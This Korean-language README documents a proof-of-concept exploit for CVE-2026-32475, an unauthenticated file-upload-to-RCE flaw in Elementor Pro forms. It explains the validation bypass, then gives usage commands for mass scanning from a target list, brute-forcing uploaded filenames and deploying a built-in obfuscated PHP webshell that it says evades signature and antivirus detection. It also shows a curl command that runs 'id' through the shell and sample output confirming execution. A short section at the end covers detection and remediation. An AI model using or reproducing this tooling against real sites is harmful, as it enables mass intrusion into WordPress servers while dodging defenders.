
CVE-2026-32475에 대한 개념 증명 익스플로잇으로, Elementor Pro의 인증되지 않은 임의 파일 업로드 취약점을 통해 원격 코드 실행으로 이어집니다. 대량 스캐닝, 무차별 대입 방식의 파일명 확인, 그리고 승인된 테스트를 위한 내장 난독화 웹셸을 포함합니다.
Elementor Pro 사전 인증 임의 파일 업로드를 통한 원격 코드 실행
CVE-2026-32475에 대한 개념 증명(PoC)으로, Elementor Pro의 Forms 모듈에서 원격 코드 실행으로 이어지는 치명적인 인증되지 않은 임의 파일 업로드 취약점입니다. 이 PoC는 동일한 업로드 필드에 두 개의 파일 파트를 제출합니다 — 빈 첫 번째 항목(빈 파일명, UPLOAD_ERR_NO_FILE 트리거) 뒤에 페이로드를 제출합니다. validation() 루프는 return을 통해 빈 항목에서 조기 종료되고, process_field()는 continue를 통해 이를 건너뛰므로 페이로드는 확장자 검사를 거치지 않고 공개 디렉토리에 .php 확장자로 저장됩니다. 패치 후 수정된 동작을 테스트하는 PoC, 즉 동일한 요청은 확장자 검사에 의해 차단되어야 합니다.
참고: 이 PoC는 승인된 보안 테스트 및 연구 목적으로만 사용됩니다. CVE-2026-32475는 현재 활발히 악용되고 있으며, Wordfence는 8월 19일 공개 이후 190,000건 이상의 시도를 차단했습니다. 테스트 전에 모든 관련 법률을 준수하고 서면 승인을 받을 책임은 사용자에게 있습니다.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requests 라이브러리가 포함된 Python 3.8+의존성 설치:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell은 최소한의 난독화된 PHP 웹셸(런타임에 chr()/implode/strrev로 구성된 키워드, 명령 파라미터 vapcom)을 업로드하므로 단순한 정적 시그니처와 디스크의 AV 실시간 검사에서 탐지되지 않습니다. 저장된 파일명은 여전히 무작위(<uniqid()>.php)이며, ?vapcom=echo <marker>를 탐색하고 exec confirmed: <name>.php를 보고하는 --brute와 결합하세요. 찾은 후 수동 사용:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| 인자 | 설명 | 기본값 |
|---|---|---|
-t, --target | 단일 대상 URL | - |
-T, --targets | 대상 URL이 한 줄에 하나씩 있는 파일 | - |
-o, --output | 결과 파일 (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | 요청 시간 초과(초) | 15 |
--post-id | 감지된 post_id 재정의 | 자동 |
--form-id | 감지된 form_id (Elementor 위젯 ID) 재정의 | 자동 |
--field | 감지된 업로드 필드 custom_id 재정의 | 자동 |
--payload | 사용자 정의 페이로드 파일 경로 (기본값: 무해한 PHP 토큰 파일) | 무해한 토큰 |
--shell | 토큰 대신 내장 난독화 PHP 웹셸(런타임에 구성된 <?php ... system($_GET) ?>, 파라미터 vapcom) 업로드 | 꺼짐 |
--brute | 성공적인 업로드 후 uniqid() 파일명을 무차별 대입하여 코드 실행 확인 | 꺼짐 |
--seconds-window | 서버 Date 헤더 전후로 무차별 대입할 초 | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
AJAX 응답에서 success:true는 페이로드가 확장자 검사 없이 수락되었음을 의미합니다. --brute가 포함된 4단계(추측된 .php 파일에서 마커를 포함한 200 응답)는 서버 측 PHP 실행, 즉 완전한 RCE를 확인합니다.
결과 상태: vulnerable | patched | unknown | error
vulnerable — 웹 서버가 "success":true를 반환, 페이로드가 확장자 검사를 건너뜀patched — 업로드가 파일 유형 오류로 거부됨 (확장자 검사 실행됨)unknown — HTTP는 성공했지만 응답이 success:true가 아님 (잘못된 ID 또는 예기치 않은 상태)error — 요청/파싱 실패 (시간 초과, 200 아님, 양식을 찾을 수 없음)<uniqid()>.<공격자_확장자>입니다 — 제출된 기본 파일명은 폐기되므로 이중 확장자/null 바이트 트릭은 무관합니다. 확장자 검사만 중요하며, 그것이 무력화되는 부분입니다.wp-content/uploads/elementor/forms/에 모든 파일에 Content-Disposition: attachment를 설정하는 .htaccess를 포함합니다. 이것은 실행을 막지 않습니다 — PHP는 여전히 서버 측에서 실행되며 다운로드된 응답은 실행된 출력입니다. 실험실에서 브라우저에 셸을 렌더링하려면 해당 .htaccess를 비활성화하세요. 실제 환경에서는 이를 단지 외관상의 것으로 취급하고 서버 수준의 PHP 차단에 의존하세요.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec)이므로 이름은 시간 기반입니다(Unix 초, 하위 32비트, + 마이크로초). 무차별 대입 단계는 제출 응답의 Date 헤더에서 관찰된 초를 기준으로 범위를 설정하고, .php 파일의 경우 ?vapcom=echo <marker>(또는 토큰/--payload 파일의 경우 ?c=)를 요청하여 마커가 포함된 응답이 단순한 파일 읽기가 아닌 실제 서버 측 PHP 실행임을 확인합니다. 최악의 경우 초당 ~100만 마이크로초 추측이 필요하므로 --seconds-window를 좁혀 실행 시간을 짧게 유지하세요.# 업로드 디렉토리에 존재해서는 안 되는 PHP 파일
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta 파일을 침해 증거로 취급하세요./wp-content/uploads/elementor/forms/ 아래의 GET 및 elementor_pro_forms_send_form을 포함한 POST에 대한 액세스 로그를 검색하세요.mu-plugins, 수정된 코어/테마 파일, 예기치 않은 WP-Cron 이벤트를 찾고, 제자리 정리보다 알려진 양호한 백업 복원을 선호하세요.location 규칙 또는 Apache <FilesMatch>). 이것이 지속적인 수정이며 이 및 향후 업로드 버그를 "디스크 낭비"로 격하시킵니다.elementor_pro_forms_send_form 작업에 대한 로그를 감사하세요.